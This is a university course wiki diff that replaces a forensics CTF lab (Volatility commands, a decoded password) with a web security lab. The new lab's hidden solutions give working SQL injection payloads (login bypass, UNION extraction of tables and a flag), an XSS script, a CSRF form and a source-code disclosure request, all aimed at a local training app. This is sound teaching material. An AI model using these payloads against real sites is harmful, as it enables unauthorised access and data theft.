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| - | ====== Lab 09 - Forensics ====== | + | /* ~~SHOWSOLUTION~~ */ |
| - | ===== Overview ===== | + | ====== Lab 09 - Web Security ====== |
| - | Computer forensics is a branch of digital forensic science pertaining to evidence found in computers and digital storage media. The goal of computer forensics is to examine digital media in a forensically sound manner with the aim of identifying, preserving, recovering, analyzing and presenting facts and opinions about the digital information. | + | ===== Objectives ===== |
| + | * Web vulnerabilities, both server-side and client-side | ||
| + | * Server-side SQL injection | ||
| + | * Cross-Site Scripting, Cross-Site Request Forgery | ||
| - | ===== Exercises ===== | + | ===== Background ===== |
| - | You are a private investigator and you have 2h to solve 9 crimes. At the end of every crime you will find a flag that looks like **ISC{...}**. \\ | + | ==== SQL Injection ==== |
| - | Are you up to the task? \\ \\ | + | |
| - | {{:isc:labs:ISC-lab09.zip|Here}} is your data.\\ \\ | + | |
| - | All exercises can be solved on the local Linux machine. | + | |
| - | ==== 00. Capture 1 ==== | + | SQL Injection is a server-side code injection vulnerability resulting from |
| + | improper (unsanitized) input directly concatenated into SQL queries. | ||
| + | Typical server queries are built as strings: | ||
| + | <code javascript> | ||
| + | sql = "SELECT * FROM table WHERE item = '" + user_input_variable + "' <other expressions>"; | ||
| + | database.query(sql); | ||
| + | </code> | ||
| - | This is traffic capture of a suspect that we've been following for a long time. Can you find anything interesting like login credentials? | + | Note that the user may choose to escape the SQL quotes and alter the SQL statement, e.g.: |
| - | <spoiler Hint1> | + | <code javascript> |
| - | Use wireshark to analyse the pcap. | + | user_input_variable = "' OR 1=1 -- "; // example input given by the user |
| - | </spoiler> | + | sql = "SELECT * FROM table WHERE item = '' OR 1=1 -- ' <other expressions>"; |
| - | <spoiler Hint2> | + | </code> |
| - | Check the ports at statistics/conversations/tcp. | + | |
| - | </spoiler> | + | |
| - | ==== 01. Unknown File Type ==== | + | An SQL injection exploit ultimately depends on the target SQL expression (which |
| + | is usually unknown to the attacker) and query result behavior (whether the | ||
| + | query contents arem displayed on screen or the user is blind, errors reported | ||
| + | etc.). | ||
| - | We've found this file on a confiscated machine, but we can't figure what it is. Can you help us? | + | **Make sure to check those cheatsheets out:** \\ |
| - | <spoiler Hint1> | + | [[https://portswigger.net/web-security/sql-injection]] \\ |
| - | Today is not your lucky day. No hints for you. | + | [[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection]] \\ |
| - | </spoiler> | + | and:\\ |
| + | [[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md]] | ||
| - | ==== 02. Hidden Flag ==== | + | ==== Other server-side vulnerabilities ==== |
| - | There is something uncanny about this image. Is it trying to give us a hint? | + | The SQL injection is a popular server-side code injection vulnerability, but |
| + | there are many mistakes that a website developer / system administrator can | ||
| + | make (//expect to find some of them in your homework :P //): | ||
| - | ==== 03. Corrupted File ==== | + | * code injection (LDAP, eval, shell execution etc.); |
| + | * broken authentication or access control (authorization); | ||
| + | * sensitive data exposure (e.g., backups / keys forgotten inside web root); | ||
| + | * path traversal; | ||
| + | * server misconfiguration; | ||
| + | * //[[https://owasp.org/www-community/vulnerabilities/|and many more]]// | ||
| - | During a transmission, one of our files got corrupted. Take a look and see if you can do something about it. | + | There are even |
| - | <spoiler Hint1> | + | [[https://owasp.org/www-community/Vulnerability_Scanning_Tools|free or |
| - | Maybe there is something wrong with the header. | + | commercial web vulnerability scanners]] for testing a server's sercurity! |
| - | </spoiler> | + | |
| - | ==== 04. Audio Visualization ==== | ||
| - | We have intercepted an alien transmission, but there is no way to understand what is it saying. Maybe we should look at it. | + | ==== Client-side vulnerabilities ==== |
| - | <spoiler Hint1> | + | |
| - | Can you SEE it? | + | |
| - | </spoiler> | + | |
| - | ==== 05. Hidden File ==== | + | Browsers are now among the most targeted pieces of software on the Internet. |
| + | This is mainly because of the large threat vector resulting from the complexity of | ||
| + | the web ecosystem, requiring features such as fancy HTML+CSS rendering, | ||
| + | animation and even sandboxed, untrusted JavaScript code execution. | ||
| - | There is something wrong with the size of this image. Is there anything else there? | + | Even when the browsers do a good job at protecting against attacks, sometimes |
| - | <spoiler Hint1> | + | trusted websites themselved may contain bugs that directly affect the security |
| - | Use Binwalk. "-e" option is buggy sometimes. | + | of their users. |
| - | </spoiler> | + | |
| - | ==== 06. Censored ==== | + | A major threat, **Cross Site Scripting (XSS)** is a JavaScript code injection |
| + | vulnerability where an attacker that found a way to post public HTML scripts | ||
| + | into an unprotected website (e.g., by using comments forms or forum responses). | ||
| + | Those scripts, if served to other visitors, will execute with the credentials | ||
| + | of their respective users, making it possible for the attacker to scam, | ||
| + | exfiltrate personal data or even push malware into the victim's PC. | ||
| - | We've found a letter in the trash can of a suspect, but some of the info is censored. Do some magic and find what is underneath the black box. | + | Another typical client-side vulnerability that the web developers need to |
| - | <spoiler Hint1> | + | protect their websites against is |
| - | Use Google. | + | **[[https://research.securitum.com/what-is-the-csrf-cross-site-request-forgery-vulnerability/|Cross-Site |
| - | </spoiler> | + | Request Forgery (CSRF)]]**. |
| + | In this attack, the victim is tricked into opening an attacker-controlled web | ||
| + | page which then issues custom requests (either using concealed elements that do | ||
| + | external requests - ''img'', ''form'', or by using JavaScript / AJAX) to | ||
| + | another (target) website. The browser will happily make the requests using the | ||
| + | target domain's cookies and credentials. | ||
| + | If the target website has URLs that execute certain actions (e.g., ''POST | ||
| + | https://my-blog/post.php'') without verifying the source of the request, any | ||
| + | malicious page can execute them. | ||
| + | Note that the attacker cannot see the results of those requests (unless | ||
| + | authorized by CORS headers by the target). | ||
| + | In practice, any URL endpoint executing sensitive actions needs to be protected | ||
| + | using either referer validation or CSRF tokens. | ||
| - | ==== 07. Waiting for eternity ==== | + | ===== Setup ===== |
| - | We stared at this gif for the last hour but nothing is happening. Would you like to join us and stare at it for the next hour? | + | You will be using a [[https://cloud.grid.pub.ro/|OpenStack VM]] for |
| + | your tasks. | ||
| - | ==== 08. Capture 2 ==== | + | Remember that the instances have private IPs, ''10.9.x.y'', inaccessible from |
| + | anywhere but the campus network. Since we need to use a local browser to access | ||
| + | a web server running inside the VM, we will employ a SSH tunnelling + proxy | ||
| + | trick to accomplish this. | ||
| - | This is an USB capture of a device connected to a suspect's machine. Can you find what he's been typing? | + | You should already have a [[:isc:info:virtualmachine|SSH keypair for authenticating with fep & OpenStack]]: |
| - | ===== Resources ===== | + | We will be using ''ssh''`s Local Port Forwarding feature, requesting it to pass all packets from ''localhost:8080'' through the SSH tunnel to the destination VM on ''8080'': |
| - | * Hex Editor | + | |
| - | * Wireshark | + | |
| - | * Binwalk | + | |
| - | * Audacity | + | |
| - | * Image extractor | + | |
| - | * USB documentation | + | |
| + | <code bash> | ||
| + | ssh -L "8080:localhost:8080" -J <first.lastname>@fep.grid.pub.ro student@10.9.X.Y | ||
| + | </code> | ||
| - | <hidden> | + | ===== Tasks ===== |
| - | ====== STUFF FROM SUMMER 2016 ====== | + | === 1 [20p]. SQL Injection === |
| + | * Start the web server by using the following sequence: <code bash> | ||
| + | # First, start the MySQL instance in background | ||
| + | docker run -d --rm --name mysql ropubisc/lab08-mysql | ||
| + | # Wait until the MySQL server fully starts: | ||
| + | docker logs mysql -f | ||
| + | # Ctrl+C and continue when it says: 'mysqld: ready for connections.' | ||
| + | # Finally, start the sample web server | ||
| + | docker run -it --link mysql:mysql -p 8080:8080 ropubisc/lab08-web-server | ||
| + | </code> | ||
| + | * Connect to the application using [[http://localhost:8080/]] (assuming you forwarded the port correctly) | ||
| + | * Now: You don't know any user / password for this website. Try to log in using SQL Injection! | ||
| + | * The most common approach when testing for SQL Injection is to input an apostrophe ("'") in any of the provided fields ([[https://security.stackexchange.com/questions/67972/why-do-testers-often-use-the-single-quote-to-test-for-sql-injection]]) | ||
| + | * Hint: Try the apostrophe in one of the login fields, check if it shows an error! | ||
| + | * Note: After examining the error the form prompts, we can assume how the query is being made: <code sql> | ||
| + | 'SELECT <some columns> FROM users WHERE username = ' + username + ' AND password = ' + password + ' LIMIT 1;' | ||
| + | </code> | ||
| + | * Is pretty obvious that the strings provided are not escaped and we can abuse this misconfiguration. Check the links in the beginning! | ||
| + | * If you ever want to exit the MySQL server:<code> | ||
| + | docker kill mysql | ||
| + | </code> | ||
| - | TODO!!!! | + | <solution -hidden> |
| - | SCHIMBAT IP MASINA VIRTUALA SI MODIFICAT IN DOCUMENT | + | Login with ''%%' OR 1=1 -- -%%'' |
| + | </solution> | ||
| - | Sa caute ultimul fisier modificat din filesystem | + | === 2 [20p]. Advanced SQL Injection === |
| - | locatie in QR | + | |
| - | + | ||
| - | Adaugat ceva de mobile?? | + | |
| - | | + | |
| - | + | * Start the web server from the first task again. | |
| - | ===== Resources ===== | + | * What if I told you there is a hidden **flag** inside the database? Find it! |
| - | + | * Hint: where do you have query feedback inside the application? try to do an ''UNION'' hack! | |
| - | *[[http://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf|Volatility Cheatsheet]] | + | * Note: Since we will be using the same query as the one used in the first exercise, we must first find the exact number of columns provided to the statement. We are aiming at building a query of this format: <code sql> |
| + | SELECT col1, col2, ..., colN from users WHERE username ='' UNION SELECT col1, col2, ... , colN-1, desired_column from desired_database_table --;</code> | ||
| + | * Note: for UNION to work, you must SELECT exactly the same number of columns as in the original query! | ||
| + | * After finding out the exact number of columns, we can use ''GROUP_CONCAT'' technique to extract the available database table names.\\ Check out the cheatsheets from the Background section! (P.S. database schema is ''journalapp'') | ||
| + | * Hint: <code>UNION SELECT col1, col2, ... , colN-1, GROUP_CONCAT(<what are we looking for in the schema>) FROM information_schema.tables WHERE table_schema='<our schema name>' </code> \\ It is not necessary to know the exact names of 'col1', 'col2', ... 'colN-1'. You can replace it with numbers or '@'. | ||
| + | * Got any table that catches your eye? We are going to use ''GROUP_CONCAT'' again, but this time we are trying to find the name of the columns of our desired table. | ||
| + | * Hint: <code>UNION SELECT col1, col2, ... , colN-1, GROUP_CONCAT(<what are we looking for in the table>) FROM information_schema.columns WHERE table_name='<our table name>' </code> | ||
| + | * Got the column name? Good. Now it should be nothing more than a simple select query :) | ||
| + | * Hint: <code>UNION SELECT col1, col2, ... , colN-1, <desired column name> FROM <desired table name></code> | ||
| + | <solution -hidden> | ||
| + | Find the number of main table columns: ''%%asd' UNION (SELECT 1, 2, 3, 4) -- .%%''\\ | ||
| + | Find the tables: ''%%' UNION SELECT 1, 2, 3, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='journalapp' -- .%%''\\ | ||
| + | Find the columns: ''%%' UNION SELECT 1, 2, 3, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flags' -- .%%''\\ | ||
| + | Find the flag: ''%%' UNION SELECT 1, 2, 3, flag FROM flags -- .%%''\\ | ||
| + | </solution> | ||
| - | ===== Overview ===== | + | === 3 [20p]. Cross-Site Scripting === |
| - | *You are a forensic detective hired to investigate the recent attack on our database server. Fortunately, the security team detected the intrusion in time and the hacker had to run quickly, leaving his laptop in the server room. Using a cold boot attack, we managed to obtain a dump of his ram. Your job is to gather as much intel as you can. | + | * You can still save the day: cover the monster's mouth (you can use the image at ''http://localhost:8080/images/muzzle.png'')! |
| + | * Since HTML is allowed, you can also inject a JavaScript alert, example:<code> | ||
| + | <script>alert("XSS!");</script> | ||
| + | </code> | ||
| + | * **Hint**: You can use absolute element positioning, e.g.: ''<div style=%%"%%position: absolute; top: -300px;left:100px;%%"%%> insert your img here </div>''. Try it with the browser's developer console / inspect element first before injecting it inside a message ;) \\ [[https://www.w3schools.com/css/css_positioning.asp]] | ||
| + | * Hint: Console can be accessed either by right-clicking and choosing Inspect or by hitting F12 on your keyboard and navigating to 'Console' tab. | ||
| + | * Note: Try appending code to the document's body. | ||
| + | <solution -hidden> | ||
| + | <code> | ||
| + | <div style="position: absolute; top: -510px; left: 250px"><img src="/images/muzzle.png"></div> | ||
| + | <script>alert("No more Shosho, phew!");</script> | ||
| + | </code> | ||
| + | </solution> | ||
| - | <note> | + | === 4 [20p]. Cross-Site Request Forgery === |
| - | Volatility usage: | + | |
| - | volatility-2.5.standalone.exe -f <dump> imageinfo; Look at the suggested profile | + | * The objective is to fool your victim using an external website (simulated using a local .html page) to post an attacker-controller message into the website. |
| + | * On your local station, as the attacker: create a simple HTML page that posts a hidden message to [[http://localhost:8080/journal/post]]; this will be equivalent to hosting a malicious website; | ||
| + | * Hint: Check the HTML of the website for a ''%%<form>%%'' example! | ||
| + | * Hint: Use an input with ''%%type="hidden"%%'' | ||
| + | * Switching sides (you're the victim, now): open that HTML page using your web browser. Click a button and the hidden message will be posted ;) | ||
| + | * (Make sure you are logged in inside the web app before doing the attack!) | ||
| + | * For bonus, you can try to do a cross-site AJAX posting the message automatically (without requiring user interaction!). | ||
| - | volatility-2.5.standalone.exe -f <dump> --profile=<profile> kdbgscan; Look at the Offset (V) | + | <solution -hidden> |
| + | <code> | ||
| + | <form action="http://localhost:8080/journal/post" method="post"> | ||
| + | <input type="hidden" name="message" value="I am stupid!"> | ||
| + | <input type="submit" value="Click me!"> | ||
| + | </form> | ||
| + | </code> | ||
| + | </solution> | ||
| - | volatility-2.5.standalone.exe -f <dump> --profile=<profile> --kdbg=<offset> COMMAND | + | === 5 [20p]. Server Reconnaissance === |
| - | </note> | + | |
| - | | + | |
| - | <note tip>You should look for processes, commands, files, history, connections and network traffic.</note> | + | * Can you steal the source code of the server-side code using HTTP only? |
| + | * Once you found it, try to find the database credentials! | ||
| + | * Hint: try to guess the path to a [[https://docs.npmjs.com/files/package.json|common file]] that all NodeJS projects have! It may reference the main script's name! | ||
| + | * Also try it by using a tool: [[https://cirt.net/nikto2|nikto]], ''apt install nikto'' | ||
| + | <solution -hidden> | ||
| + | <code> | ||
| + | GET /package.json | ||
| + | it references the main file: | ||
| + | GET /server.js | ||
| + | </code> | ||
| + | </solution> | ||
| + | === Feedback === | ||
| - | ==== Solution: ==== | + | Please take a minute to fill in the [[https://forms.gle/5Lu1mFa63zptk2ox9|feedback form]] for this lab. |
| - | + | ||
| - | volatility-2.5.standalone.exe -f memory.dmp imageinfo | + | |
| - | + | ||
| - | volatility-2.5.standalone.exe -f memory.dmp --profile=Win7SP1x86 kdbgscan | + | |
| - | + | ||
| - | volatility-2.5.standalone.exe -f memory.dmp --profile=Win7SP1x86 --kdbg=0x82b73c78 pslist > ps.txt | + | |
| - | + | ||
| - | volatility-2.5.standalone.exe -f memory.dmp --profile=Win7SP1x86 --kdbg=0x82b73c78 cmdline | + | |
| - | + | ||
| - | volatility-2.5.standalone.exe -f memory.dmp --profile=Win7SP1x86 --kdbg=0x82b73c78 consoles | + | |
| - | + | ||
| - | volatility-2.5.standalone.exe -f memory.dmp --profile=Win7SP1x86 --kdbg=0x82b73c78 dumpfiles -D file > dump.txt | + | |
| - | + | ||
| - | file: file.3640.0x86a44318 | + | |
| - | + | ||
| - | find: "search" | + | |
| - | + | ||
| - | http://www.bing.com/search?q=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fd%2F1KAHXjGIT_8EX0gA5NGZSZ0A-PzcVbzIxm1NKtQClvME%2Fedit%3Fusp%3Dsharing&qs=n&form=QBLH&pq=https%3A%2F%2Fdocs.google.com%2Fdocument%2Fd%2F1kahxjgit_8ex0ga5ngzsz0a-pzcvbzixm1nktqclvme%2Fedit%3Fusp%3Dsharing&sc=0-96&sp=-1&sk=&cvid=32A3046F740B479DA10E524ABD27DB70 | + | |
| - | + | ||
| - | https://docs.google.com/document/d/1KAHXjGIT_8EX0gA5NGZSZ0A-PzcVbzIxm1NKtQClvME/edit | + | |
| - | + | ||
| - | user besthacker | + | |
| - | + | ||
| - | WW91ciBwYXNzd2QgaXM6IENGVFVJQkRMRlM= BASE64decode | + | |
| - | + | ||
| - | Your passwd is: CFTUIBDLFS | + | |
| - | + | ||
| - | ssh besthacker@..... | + | |
| - | + | ||
| - | </hidden> | + | |
